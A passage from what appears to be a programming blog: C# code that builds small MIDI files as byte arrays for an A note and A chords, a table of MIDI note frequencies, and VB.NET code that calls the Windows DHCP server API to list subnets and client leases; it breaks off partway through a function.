Generating Grand Piano tones from Midi

December 6, 2018

Application.DoEvents();
            /* Create a new SheetMusic Control from the midifile */
            byte[] MyA440 = { 0x4d, 0x54, 0x68, 0x64, 0x00, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00, 0x01, 0x01, 0x80, 0x4d, 0x54, 0x72, 0x6b, 0x00, 0x00, 0x00, 0x31, 0x00, 0xff, 0x58, 0x04, 0x04, 0x02, 0x18, 0x08, 0x00, 0xff, 0x51, 0x03, 0x0b, 0x71, 0xb0, 0x00, 0xff, 0x03, 0x0e, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x69, 0x63, 0x20, 0x50, 0x69, 0x61, 0x6e, 0x6f, 0x00, 0xc0, 0x00, 0x00, 0x90, 0x45, 0x32, 0x8c, 0x00, 0x80, 0x45, 0x00, 0x00, 0xff, 0x2f, 0x00 };
            byte[] MyAPowerChord = { 0x4d, 0x54, 0x68, 0x64, 0x00, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00, 0x01, 0x01, 0x80, 0x4d, 0x54, 0x72, 0x6b, 0x00, 0x00, 0x00, 0x39, 0x00, 0xff, 0x58, 0x04, 0x04, 0x02, 0x18, 0x08, 0x00, 0xff, 0x51, 0x03, 0x0b, 0x71, 0xb0, 0x00, 0xff, 0x03, 0x0e, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x69, 0x63, 0x20, 0x50, 0x69, 0x61, 0x6e, 0x6f, 0x00, 0xc0, 0x00, 0x00, 0x90, 0x45, 0x32, 0x00, 0x90, 0x48, 0x32, 0x8c, 0x00, 0x80, 0x45, 0x00, 0x00, 0x80, 0x48, 0x00, 0x00, 0xff, 0x2f, 0x00 };
            byte[] MyAChord = { 0x4d, 0x54, 0x68, 0x64, 0x00, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00, 0x01, 0x01, 0x80, 0x4d, 0x54, 0x72, 0x6b, 0x00, 0x00, 0x00, 0x41, 0x00, 0xff, 0x58, 0x04, 0x04, 0x02, 0x18, 0x08, 0x00, 0xff, 0x51, 0x03, 0x0b, 0x71, 0xb0, 0x00, 0xff, 0x03, 0x0e, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x69, 0x63, 0x20, 0x50, 0x69, 0x61, 0x6e, 0x6f, 0x00, 0xc0, 0x00, 0x00, 0x90, 0x45, 0x32, 0x00, 0x90, 0x48, 0x32, 0x00, 0x90, 0x4c, 0x32, 0x8c, 0x00, 0x80, 0x45, 0x00, 0x00, 0x80, 0x48, 0x00, 0x00, 0x80, 0x4c, 0x00, 0x00, 0xff, 0x2f, 0x00 };
            byte[] MyA7Chord = { 0x4d, 0x54, 0x68, 0x64, 0x00, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00, 0x01, 0x01, 0x80, 0x4d, 0x54, 0x72, 0x6b, 0x00, 0x00, 0x00, 0x49, 0x00, 0xff, 0x58, 0x04, 0x04, 0x02, 0x18, 0x08, 0x00, 0xff, 0x51, 0x03, 0x0b, 0x71, 0xb0, 0x00, 0xff, 0x03, 0x0e, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x69, 0x63, 0x20, 0x50, 0x69, 0x61, 0x6e, 0x6f, 0x00, 0xc0, 0x00, 0x00, 0x90, 0x45, 0x32, 0x00, 0x90, 0x48, 0x32, 0x00, 0x90, 0x4c, 0x32, 0x00, 0x90, 0x4f, 0x32, 0x8c, 0x00, 0x80, 0x45, 0x00, 0x00, 0x80, 0x48, 0x00, 0x00, 0x80, 0x4c, 0x00, 0x00, 0x80, 0x4f, 0x00, 0x00, 0xff, 0x2f, 0x00 };
            midifile = new MidiFile(MyA7Chord, "My A440");
            DisableMenus();
            EnableMenus();

            instrumentDialog = new InstrumentDialog(midifile);
            playMeasuresDialog = new PlayMeasuresDialog(midifile);

            SaveMidiOptions();
            RedrawSheetMusic();

            sheetmusic = new SheetMusic(midifile, null);
            sheetmusic.SetZoom(zoom);
            sheetmusic.Parent = scrollView;

https://onlinesequencer.net/import2/fedd9ea7da1d866ec760f44f2b155104?title=1.mid http://phpmidiparser.com/reports/2310/ http://phpmidiparser.com/reports/2313/ https://sourceforge.net/projects/midisheetmusic/ https://web.archive.org/web/20141227205754/http://www.sonicspot.com:80/guide/midifiles.html http://subsynth.sourceforge.net/midinote2freq.html

 MIDI                   MIDI                   MIDI
 Note     Frequency      Note   Frequency       Note   Frequency
 C1  0    8.1757989156    12    16.3515978313    24    32.7031956626
 Db  1    8.6619572180    13    17.3239144361    25    34.6478288721
 D   2    9.1770239974    14    18.3540479948    26    36.7080959897
 Eb  3    9.7227182413    15    19.4454364826    27    38.8908729653
 E   4   10.3008611535    16    20.6017223071    28    41.2034446141
 F   5   10.9133822323    17    21.8267644646    29    43.6535289291
 Gb  6   11.5623257097    18    23.1246514195    30    46.2493028390
 G   7   12.2498573744    19    24.4997147489    31    48.9994294977
 Ab  8   12.9782717994    20    25.9565435987    32    51.9130871975
 A   9   13.7500000000    21    27.5000000000    33    55.0000000000
 Bb  10  14.5676175474    22    29.1352350949    34    58.2704701898
 B   11  15.4338531643    23    30.8677063285    35    61.7354126570

 C4  36  65.4063913251    48   130.8127826503    60   261.6255653006
 Db  37  69.2956577442    49   138.5913154884    61   277.1826309769
 D   38  73.4161919794    50   146.8323839587    62   293.6647679174
 Eb  39  77.7817459305    51   155.5634918610    63   311.1269837221
 E   40  82.4068892282    52   164.8137784564    64   329.6275569129
 F   41  87.3070578583    53   174.6141157165    65   349.2282314330
 Gb  42  92.4986056779    54   184.9972113558    66   369.9944227116
 G   43  97.9988589954    55   195.9977179909    67   391.9954359817
 Ab  44  103.8261743950   56   207.6523487900    68   415.3046975799
 A   45  110.0000000000   57   220.0000000000    69   440.0000000000
 Bb  46  116.5409403795   58   233.0818807590    70   466.1637615181
 B   47  123.4708253140   59   246.9416506281    71   493.8833012561

 C7  72  523.2511306012   84  1046.5022612024    96  2093.0045224048
 Db  73  554.3652619537   85  1108.7305239075    97  2217.4610478150
 D   74  587.3295358348   86  1174.6590716696    98  2349.3181433393
 Eb  75  622.2539674442   87  1244.5079348883    99  2489.0158697766
 E   76  659.2551138257   88  1318.5102276515   100  2637.0204553030
 F   77  698.4564628660   89  1396.9129257320   101  2793.8258514640
 Gb  78  739.9888454233   90  1479.9776908465   102  2959.9553816931
 G   79  783.9908719635   91  1567.9817439270   103  3135.9634878540
 Ab  80  830.6093951599   92  1661.2187903198   104  3322.4375806396
 A   81  880.0000000000   93  1760.0000000000   105  3520.0000000000
 Bb  82  932.3275230362   94  1864.6550460724   106  3729.3100921447
 B   83  987.7666025122   95  1975.5332050245   107  3951.0664100490

 C10 108 4186.0090448096  120  8372.0180896192
 Db  109 4434.9220956300  121  8869.8441912599
 D   110 4698.6362866785  122  9397.2725733570
 Eb  111 4978.0317395533  123  9956.0634791066
 E   112 5274.0409106059  124 10548.0818212118
 F   113 5587.6517029281  125 11175.3034058561
 Gb  114 5919.9107633862  126 11839.8215267723
 G   115 6271.9269757080  127 12543.8539514160
 Ab  116 6644.8751612791
 A   117 7040.0000000000
 Bb  118 7458.6201842894
 B   119 7902.1328200980



using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace MidiFunction
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] MyA440 =        { 0x4d, 0x54, 0x68, 0x64, 0x00, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00, 0x01, 0x01, 0x80, 0x4d, 0x54, 0x72, 0x6b, 0x00, 0x00, 0x00, 0x31, 0x00, 0xff, 0x58, 0x04, 0x04, 0x02, 0x18, 0x08, 0x00, 0xff, 0x51, 0x03, 0x0b, 0x71, 0xb0, 0x00, 0xff, 0x03, 0x0e, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x69, 0x63, 0x20, 0x50, 0x69, 0x61, 0x6e, 0x6f, 0x00, 0xc0, 0x00, 0x00, 0x90, 0x45, 0x32, 0x8c, 0x00, 0x80, 0x45, 0x00, 0x00, 0xff, 0x2f, 0x00 };
            byte[] MyAPowerChord = { 0x4d, 0x54, 0x68, 0x64, 0x00, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00, 0x01, 0x01, 0x80, 0x4d, 0x54, 0x72, 0x6b, 0x00, 0x00, 0x00, 0x39, 0x00, 0xff, 0x58, 0x04, 0x04, 0x02, 0x18, 0x08, 0x00, 0xff, 0x51, 0x03, 0x0b, 0x71, 0xb0, 0x00, 0xff, 0x03, 0x0e, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x69, 0x63, 0x20, 0x50, 0x69, 0x61, 0x6e, 0x6f, 0x00, 0xc0, 0x00, 0x00, 0x90, 0x45, 0x32, 0x00, 0x90, 0x48, 0x32, 0x8c, 0x00, 0x80, 0x45, 0x00, 0x00, 0x80, 0x48, 0x00, 0x00, 0xff, 0x2f, 0x00 };
            byte[] MyAChord =      { 0x4d, 0x54, 0x68, 0x64, 0x00, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00, 0x01, 0x01, 0x80, 0x4d, 0x54, 0x72, 0x6b, 0x00, 0x00, 0x00, 0x41, 0x00, 0xff, 0x58, 0x04, 0x04, 0x02, 0x18, 0x08, 0x00, 0xff, 0x51, 0x03, 0x0b, 0x71, 0xb0, 0x00, 0xff, 0x03, 0x0e, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x69, 0x63, 0x20, 0x50, 0x69, 0x61, 0x6e, 0x6f, 0x00, 0xc0, 0x00, 0x00, 0x90, 0x45, 0x32, 0x00, 0x90, 0x48, 0x32, 0x00, 0x90, 0x4c, 0x32, 0x8c, 0x00, 0x80, 0x45, 0x00, 0x00, 0x80, 0x48, 0x00, 0x00, 0x80, 0x4c, 0x00, 0x00, 0xff, 0x2f, 0x00 };
            byte[] MyA7Chord =     { 0x4d, 0x54, 0x68, 0x64, 0x00, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00, 0x01, 0x01, 0x80, 0x4d, 0x54, 0x72, 0x6b, 0x00, 0x00, 0x00, 0x49, 0x00, 0xff, 0x58, 0x04, 0x04, 0x02, 0x18, 0x08, 0x00, 0xff, 0x51, 0x03, 0x0b, 0x71, 0xb0, 0x00, 0xff, 0x03, 0x0e, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x69, 0x63, 0x20, 0x50, 0x69, 0x61, 0x6e, 0x6f, 0x00, 0xc0, 0x00, 0x00, 0x90, 0x45, 0x32, 0x00, 0x90, 0x48, 0x32, 0x00, 0x90, 0x4c, 0x32, 0x00, 0x90, 0x4f, 0x32, 0x8c, 0x00, 0x80, 0x45, 0x00, 0x00, 0x80, 0x48, 0x00, 0x00, 0x80, 0x4c, 0x00, 0x00, 0x80, 0x4f, 0x00, 0x00, 0xff, 0x2f, 0x00 };

            int Note1 = 60;
            int Note1off = 65;

            int MyAPowerChord1 = 60;
            int MyAPowerChord2 = 64;
            int MyAPowerChord1off = 69;
            int MyAPowerChord2off = 73;

            int MyAChord1 = 60;
            int MyAChord2 = 64;
            int MyAChord3 = 68;
            int MyAChordoff1 = 73;
            int MyAChordoff2 = 77;
            int MyAChordoff3 = 81;

            int MyA7Chord1 = 60;
            int MyA7Chord2 = 64;
            int MyA7Chord3 = 68;
            int MyA7Chord4 = 72;
            int MyA7Chordoff1 = 77;
            int MyA7Chordoff2 = 81;
            int MyA7Chordoff3 = 85;
            int MyA7Chordoff4 = 89;

            System.Diagnostics.Debug.WriteLine(MyA440[Note1]);
            System.Diagnostics.Debug.WriteLine(MyA440[Note1off]);

            System.Diagnostics.Debug.WriteLine(MyAPowerChord[MyAPowerChord1]);
            System.Diagnostics.Debug.WriteLine(MyAPowerChord[MyAPowerChord2]);
            System.Diagnostics.Debug.WriteLine(MyAPowerChord[MyAPowerChord1off]);
            System.Diagnostics.Debug.WriteLine(MyAPowerChord[MyAPowerChord2off]);

            System.Diagnostics.Debug.WriteLine(MyAChord[MyAChord1]);
            System.Diagnostics.Debug.WriteLine(MyAChord[MyAChord2]);
            System.Diagnostics.Debug.WriteLine(MyAChord[MyAChord3]);
            System.Diagnostics.Debug.WriteLine(MyAChord[MyAChordoff1]);
            System.Diagnostics.Debug.WriteLine(MyAChord[MyAChordoff2]);
            System.Diagnostics.Debug.WriteLine(MyAChord[MyAChordoff3]);

            System.Diagnostics.Debug.WriteLine(MyA7Chord[MyA7Chord1]);
            System.Diagnostics.Debug.WriteLine(MyA7Chord[MyA7Chord2]);
            System.Diagnostics.Debug.WriteLine(MyA7Chord[MyA7Chord3]);
            System.Diagnostics.Debug.WriteLine(MyA7Chord[MyA7Chord4]);
            System.Diagnostics.Debug.WriteLine(MyA7Chord[MyA7Chordoff1]);
            System.Diagnostics.Debug.WriteLine(MyA7Chord[MyA7Chordoff2]);
            System.Diagnostics.Debug.WriteLine(MyA7Chord[MyA7Chordoff3]);
            System.Diagnostics.Debug.WriteLine(MyA7Chord[MyA7Chordoff4]);
        }
    }
}

A440.Note APowerChord AMajor AMajor7

Enumerating Windows Native DHCP Server with VB.NET

November 21, 2018

Imports System.Runtime.InteropServices
Public Class Form1
    'http://social.msdn.microsoft.com/Forums/en-US/512c7fc3-fb32-4081-a8c2-451883abe9fb/dhcpclientinfovq-bclienttype
    Declare Unicode Function DhcpEnumSubnetClients Lib "dhcpsapi" (ByVal ServerIpAddress As String, ByVal SubnetAddress As UInt32, ByRef ResumeHandle As IntPtr, ByVal PreferredMaximum As Integer, ByRef ClientInfo As IntPtr, ByRef ClientsRead As Integer, ByRef ClientsTotal As Integer) As Integer
    <DllImport("dhcpsapi.dll", SetLastError:=True, CharSet:=CharSet.Unicode)> _
    Public Shared Function DhcpSetClientInfo( _
        ByVal ServerIpAddress As String, _
        ByVal ClientInfo As IntPtr) As UInt32
    End Function

    <DllImport("dhcpsapi.dll", SetLastError:=True, CharSet:=CharSet.Unicode)> _
    Public Shared Function DhcpSetClientInfoV4( _
        ByVal ServerIpAddress As String, _
        ByVal ClientInfoV4 As IntPtr) As UInt32
    End Function

    <DllImport("dhcpsapi.dll", SetLastError:=True, CharSet:=CharSet.Unicode)> _
    Public Shared Function DhcpGetClientInfo( _
        ByVal ServerIpAddress As String, _
        ByRef SearchInfo As DHCP_SEARCH_INFO, _
        ByRef ClientInfo As IntPtr) As UInt32
    End Function

    <DllImport("dhcpsapi.dll", SetLastError:=True, CharSet:=CharSet.Unicode)> _
    Public Shared Function DhcpSetClientInfoVQ( _
        ByVal ServerIpAddress As String, _
        ByVal ClientInfo As IntPtr) As UInt32
    End Function

    <StructLayout(LayoutKind.Sequential)> _
    Private Structure DHCP_IP_ARRAY
        Dim NumElements As Int32
        Dim Elements As IntPtr
    End Structure

    <StructLayout(LayoutKind.Sequential)> _
    Private Structure DHCP_CLIENT_INFO_ARRAY
        Dim NumElements As Integer
        Dim Clients As IntPtr
    End Structure

    <StructLayout(LayoutKind.Sequential)> _
    Private Structure DHCP_CLIENT_INFO
        Dim ClientIpAddress As UInt32
        Dim SubnetMask As UInt32
        Dim ClientHardwareAddress As DHCP_BINARY_DATA
        <MarshalAs(UnmanagedType.LPWStr)> Dim ClientName As String
        <MarshalAs(UnmanagedType.LPWStr)> Dim ClientComment As String
        Dim ClientLeaseExpires As MyDate_Time
        Dim OwnerHost As DHCP_HOST_INFO
    End Structure

    <StructLayout(LayoutKind.Sequential)> _
    Private Structure DHCP_CLIENT_INFOV4
        Dim ClientIpAddress As UInt32
        Dim SubnetMask As UInt32
        Dim ClientHardwareAddress As DHCP_BINARY_DATA
        <MarshalAs(UnmanagedType.LPWStr)> Dim ClientName As String
        <MarshalAs(UnmanagedType.LPWStr)> Dim ClientComment As String
        Dim ClientLeaseExpires As MyDate_Time
        Dim OwnerHost As DHCP_HOST_INFO
        Dim bClientType As DHCP_CLIENT_TYPE
    End Structure

    <StructLayout(LayoutKind.Sequential)> _
    Public Structure DHCP_CLIENT_INFO_ARRAY_VQ
        Dim NumElements As Integer
        Dim Clients As IntPtr
    End Structure

    <StructLayout(LayoutKind.Sequential)> _
    Private Structure DHCP_CLIENT_INFO_VQ
        Dim ClientIpAddress As UInt32
        Dim SubnetMask As UInt32
        Dim ClientHardwareAddress As DHCP_BINARY_DATA
        <MarshalAs(UnmanagedType.LPWStr)> Dim ClientName As String
        <MarshalAs(UnmanagedType.LPWStr)> Dim ClientComment As String
        Dim ClientLeaseExpires As MyDate_Time
        Dim OwnerHost As DHCP_HOST_INFO
        Dim bClientType As DHCP_CLIENT_TYPE
        Dim AddressState As Byte
        Dim Status As DHCP_QuarantineStatus
        Dim ProbationEnds As MyDate_Time
        Dim QuarantineCapable As Boolean
    End Structure

    Enum DHCP_CLIENT_TYPE As Byte
        CLIENT_TYPE_DHCP = 1
        CLIENT_TYPE_BOOTP = 2
        CLIENT_TYPE_BOTH = 3
        CLIENT_TYPE_RESERVATION_FLAG = 4
        CLIENT_TYPE_NONE = &H64
    End Enum

    Enum DHCP_AddressState As Byte
        CLIENT_TYPE_DHCP = 1
        CLIENT_TYPE_BOOTP = 2
        CLIENT_TYPE_BOTH = 3
        CLIENT_TYPE_RESERVATION_FLAG = 4
        CLIENT_TYPE_NONE = &H64
    End Enum

    Enum DHCP_QuarantineStatus As Byte
        NOQUARANTINE = 0
        RESTRICTEDACCESS = 1
        DROPPACKET = 2
        PROBATION = 3
        EXEMPT = 4
        DEFAULTQUARSETTING = 5
        NOQUARINFO = 6
    End Enum

    <StructLayout(LayoutKind.Sequential)> _
    Structure DHCP_DATE_TIME
        Dim dwLowDateTime As Integer
        Dim dwHighDateTime As Integer
    End Structure

    <StructLayout(LayoutKind.Sequential)> _
    Structure DHCP_BINARY_DATA
        Dim DataLength As Int32
        Dim Data As IntPtr
    End Structure

    <StructLayout(LayoutKind.Sequential)> _
    Private Structure MyDate_Time

        <MarshalAs(UnmanagedType.U4)> _
        Dim dwLowDateTime As UInt32

        <MarshalAs(UnmanagedType.U4)> _
        Dim dwHighDateTime As UInt32

        Public Function ConvertIntToDateTime() As DateTime
            If dwHighDateTime = 0 And dwLowDateTime = 0 Then Return DateTime.MinValue
            If dwHighDateTime = Int32.MaxValue And dwLowDateTime = UInt32.MaxValue Then Return DateTime.MaxValue
            Dim value As Long = dwHighDateTime
            value <<= 32
            value += dwLowDateTime
            Return DateTime.FromFileTime(value)
        End Function

        Public Sub SetToReserved()
            dwLowDateTime = 0
            dwHighDateTime = 0
            'Return DateTime.FromFileTime(value)
        End Sub

        Public Sub SetToInfinte()
            dwLowDateTime = 4294967295
            dwHighDateTime = 2147483647
            'Return DateTime.FromFileTime(value)
        End Sub

    End Structure

    <StructLayout(LayoutKind.Sequential)> _
    Structure DHCP_HOST_INFO

        Dim IpAddress As Int32

        <MarshalAs(UnmanagedType.LPWStr)> _
        Dim NetBiosName As String

        <MarshalAs(UnmanagedType.LPWStr)> _
        Dim HostName As String

    End Structure
    ''' <summary>
    ''' ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
    ''' DHCP SERVER STRUCTS
    ''' </summary>
    ''' <remarks></remarks>
    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _
    Public Structure DHCPDS_SERVER
        Dim Version As UInt32
        Dim ServerName As String
        Dim ServerAddress As UInt32
        Dim Flags As UInt32
        Dim State As UInt32
        Dim DsLocation As String
        Dim DsLocType As UInt32
    End Structure

    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _
    Public Structure DHCPDS_SERVERS
        Dim Flags As UInt32
        Dim NumElements As UInt32
        Dim Servers As IntPtr
    End Structure

    Declare Unicode Function DhcpEnumServers Lib "Dhcpsapi.dll" (ByVal Flags As UInt32, _
      ByVal IdInfo As IntPtr, _
      ByRef Servers As IntPtr, _
      ByVal CallbackFn As IntPtr, _
      ByVal CallbackData As IntPtr) As UInt32


    ''' <summary>
    ''' Sumery
    ''' </summary>
    ''' <returns></returns>
    ''' <remarks></remarks>
    ''' 

    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _
    Public Structure DHCP_IP_ADDRESS
        Dim IPAddress As UInteger
    End Structure

    ''' <summary>
    ''' Sumery
    ''' </summary>
    ''' <returns></returns>
    ''' <remarks></remarks>
    ''' 

    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Public Structure DHCP_SUBNET_INFO
        Public SubnetAddress As UInteger
        Public SubnetMask As UInteger
        Public SubnetName As String
        Public SubnetComment As String
        'Public PrimaryHost As DHCP_HOST_INFO
        Public SubnetState As DHCP_SUBNET_STATE
    End Structure


    Public Enum DHCP_SUBNET_STATE
        DhcpSubnetEnabled = 0
        DhcpSubnetDisabled = 1
        DhcpSubnetEnabledSwitched = 2
        DhcpSubnetDisabledSwitched = 3
        DhcpSubnetInvalidState = 4
    End Enum

    Public Declare Unicode Function DhcpGetSubnetInfo Lib "Dhcpsapi" (ByVal ServerIpAddress As String, ByVal SubnetAddress As Integer, ByRef SubnetInfo As DHCP_SUBNET_INFO) As Integer
    Public Declare Unicode Function DhcpEnumSubnets Lib "Dhcpsapi" (ByVal ServerIpAddress As String, ByRef ResumeHandle As Integer, ByVal PreferredMaximum As Integer, ByRef EnumInfo As IntPtr, ByRef ElementsRead As Integer, ByRef ElementsTotal As Integer) As Integer

    Dim HowManyClients As Long = 0
    Dim HowManyClientsAreAlreadyReserved As Long = 0
    Dim HowManyClientsAreNeedToBechanged As Long = 0
    Dim HowManyClientsHaveBadAddresses As Long = 0
    Dim MachinesThatWillChange As String = vbNullString
    Dim MachinesThatWillNotChange As String = vbNullString

    Dim ServerIPAddress As String = "10.10.10.10"

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim ts = Stopwatch.StartNew

        ' Your code goes here
        EnumAll()
        Debug.WriteLine("How many clients: " & HowManyClients)
        Debug.WriteLine("How many clients are already reserved: " & HowManyClientsAreAlreadyReserved)
        Debug.WriteLine("How many clients need to be changed: " & (HowManyClientsAreNeedToBechanged - HowManyClientsHaveBadAddresses))
        Debug.WriteLine("How many clients have bad addresses: " & HowManyClientsHaveBadAddresses)
        Debug.WriteLine("-----------------------------------------------------------------------")
        Debug.WriteLine("Machines that will change")
        Debug.WriteLine(MachinesThatWillChange)
        Debug.WriteLine("-----------------------------------------------------------------------")
        Debug.WriteLine("Machines that will NOT change")
        Debug.WriteLine(MachinesThatWillNotChange)

        ' Format and display the TimeSpan value.
        Dim myelapsedTime As String = String.Format("{0:00}:{1:00}:{2:00}.{3:00}", ts.Elapsed.Hours, ts.Elapsed.Minutes, ts.Elapsed.Seconds, ts.Elapsed.Milliseconds / 10)
        Debug.WriteLine("RunTime " & myelapsedTime)
        'EnumServers()
        'GetSubnets("10.10.10.10")
        'ListSubnetClients("10.10.10.10", "10.10.10.100")
        'CompareFirewallRules()
        'GetClientInfo("10.10.10.10", "10.10.10.100")
    End Sub

    Public Function GetSubnets(ByVal ServerIp As String) As String()
        Dim StringsToReturn() As String

        Dim ServerIpAddress = ServerIp
        Dim DHCPResult As UInt32 = 0

        Dim IPS As IntPtr
        Dim nr As UInteger = 0
        Dim Total As UInteger = 0
        Dim resumehandle As UInteger = 0

        DHCPResult = DhcpEnumSubnets(ServerIpAddress, resumehandle, 1000, IPS, nr, Total)
        If DHCPResult = 0 Then
            Dim iparray As DHCP_IP_ARRAY = CType(Marshal.PtrToStructure(IPS, GetType(DHCP_IP_ARRAY)), DHCP_IP_ARRAY)

            Dim Size As Integer = iparray.NumElements
            Dim outArray As IntPtr = iparray.Elements
            Dim ipAddressesArray(Size) As DHCP_IP_ADDRESS
            Array.Resize(StringsToReturn, Size + 1)
            Dim current As IntPtr = outArray
            For i = 0 To Size
                ipAddressesArray(i) = New DHCP_IP_ADDRESS
                ipAddressesArray(i) = CType(Marshal.PtrToStructure(current, GetType(DHCP_IP_ADDRESS)), DHCP_IP_ADDRESS)
                Marshal.DestroyStructure(current, GetType(DHCP_IP_ADDRESS))
                current = current + Marshal.SizeOf(ipAddressesArray(i))

                Debug.WriteLine(i & " " & IPConvert(ipAddressesArray(i).IPAddress))
                StringsToReturn(i) = IPConvert(ipAddressesArray(i).IPAddress)
            Next
            Marshal.FreeCoTaskMem(outArray)
            Debug.WriteLine("Elements read " & nr & " out of " & Total)
        Else
            Debug.WriteLine("Failed!")
        End If

        Return StringsToReturn
    End Function

    Public Function getSubNetInfo(ByVal Subnet As Integer) As Integer

        Dim Result As DHCP_SUBNET_INFO
        Dim code As Integer

        Try

            code = DhcpGetSubnetInfo("10.10.10.10", Subnet, Result)
            msgbox(Result.SubnetName)

        Catch

            msgbox(Err.Description)

        End Try

    End Function

    Public Shared Function EnumServers() As DHCPDS_SERVER()

        Dim retVal As UInt32 = 0
        Dim servers As IntPtr

        Try
            DhcpEnumServers(0, Nothing, servers, Nothing, Nothing)
        Catch ex As Exception
            Throw New Exception("Error code:  " & retVal.ToString, ex)
        End Try

        If retVal = 0 And servers <> IntPtr.Zero Then
            Dim serverArray As DHCPDS_SERVERS = _
              CType(Marshal.PtrToStructure(servers, GetType(DHCPDS_SERVERS)), DHCPDS_SERVERS)

            Dim serverList(CType(serverArray.NumElements, Int32)) As DHCPDS_SERVER

            Dim current As IntPtr = serverArray.Servers

            For i As Int32 = 0 To CType(serverArray.NumElements - 1, Int32)
                serverList(i) = CType(Marshal.PtrToStructure(current, GetType(DHCPDS_SERVER)), DHCPDS_SERVER)

                Debug.WriteLine("ServerName: " & serverList(i).ServerName)
                Debug.WriteLine("ServerAddress: " & serverList(i).ServerAddress)
                Debug.WriteLine("ServerState: " & serverList(i).State)
                Debug.WriteLine("ServerVersion: " & serverList(i).Version)
                Debug.WriteLine("ServerDsLocation: " & serverList(i).DsLocation)
                Debug.WriteLine("ServerDsLocType: " & serverList(i).DsLocType)
                Debug.WriteLine("ServerFlags: " & serverList(i).Flags)
                Debug.WriteLine(vbCrLf & vbCrLf)

                Marshal.DestroyStructure(current, GetType(DHCPDS_SERVER))

                current = IntPtr.op_Explicit(current.ToInt64() + Marshal.SizeOf(serverList(i)))
            Next

            Marshal.FreeCoTaskMem(servers)

            Return serverList
        ElseIf retVal = 0 And servers = IntPtr.Zero Then
            Throw New Exception("No servers found.")
        Else
            Throw New Exception("Error code:  " & retVal.ToString)
        End If

    End Function


    Public Sub ListSubnetClients(ByVal ServerIP As String, ByVal SubnetIP As String)

        Dim Client_Array As DHCP_CLIENT_INFO_ARRAY
        Dim DHCP_Clients() As DHCP_CLIENT_INFO

        ' Why would you use int16 for a loop counter and for a pointer offset ?

        Dim i, j As Int16

        Dim pt As IntPtr

        Dim Read_Clients, Total_Clients As Int32
        Dim Error_Code As Int32
        Dim Rem_Handle As IntPtr
        Dim Scope_I As UInt32

        'Scope_I = "10.0.3.0"
        Scope_I = StringIPAddressToUInt32(SubnetIP) ' Dot2LongIP(SubnetIP)

        'Call dhcpsapi
        Error_Code = DhcpEnumSubnetClients(ServerIP, Scope_I, Rem_Handle, 65537, pt, Read_Clients, Total_Clients)

        Client_Array = Marshal.PtrToStructure(pt, GetType(DHCP_CLIENT_INFO_ARRAY))

        ReDim DHCP_Clients(Client_Array.NumElements - 1)

        Dim MacAddr As Net.NetworkInformation.PhysicalAddress
        For i = 0 To Client_Array.NumElements - 1
            pt = Marshal.ReadIntPtr(Client_Array.Clients, j)
            DHCP_Clients(i) = Marshal.PtrToStructure(pt, GetType(DHCP_CLIENT_INFO))

            'MacAddr = Net.NetworkInformation.PhysicalAddress.Parse(DHCP_Clients(i).ClientHardwareAddress.Data)
            'If HardwareAddress = "ec-30-91-d5-f0-a6" Then
            'System.Diagnostics.Debugger.Break()
            'ElseIf HardwareAddress.StartsWith("ec-30-91") Then
            'System.Diagnostics.Debugger.Break()
            'End If

            Dim IsClientReserved As Boolean
            If DHCP_Clients(i).ClientLeaseExpires.dwLowDateTime = 4294967295 And DHCP_Clients(i).ClientLeaseExpires.dwHighDateTime = 2147483647 Then
                IsClientReserved = True
            Else
                IsClientReserved = False
            End If

            Dim IsClientInActivelyReserved As Boolean
            If DHCP_Clients(i).ClientLeaseExpires.dwLowDateTime = 0 And DHCP_Clients(i).ClientLeaseExpires.dwHighDateTime = 0 Then
                IsClientInActivelyReserved = True
            Else
                IsClientInActivelyReserved = False
            End If

            Dim HardwareAddress As String = String.Format("{0:x2}-{1:x2}-{2:x2}-{3:x2}-{4:x2}-{5:x2}", Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 1), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 2), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 3), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 4), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 5))
            Dim NetShHardwareAddress As String = String.Format("{0:x2}{1:x2}{2:x2}{3:x2}{4:x2}{5:x2}", Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 1), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 2), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 3), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 4), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 5))

            Debug.WriteLine("ClientComment: " & DHCP_Clients(i).ClientComment)
            Debug.WriteLine("ClientIpAddress: " & IPConvert(DHCP_Clients(i).ClientIpAddress))
            Debug.WriteLine("ClientHardwareAddress: " & HardwareAddress)
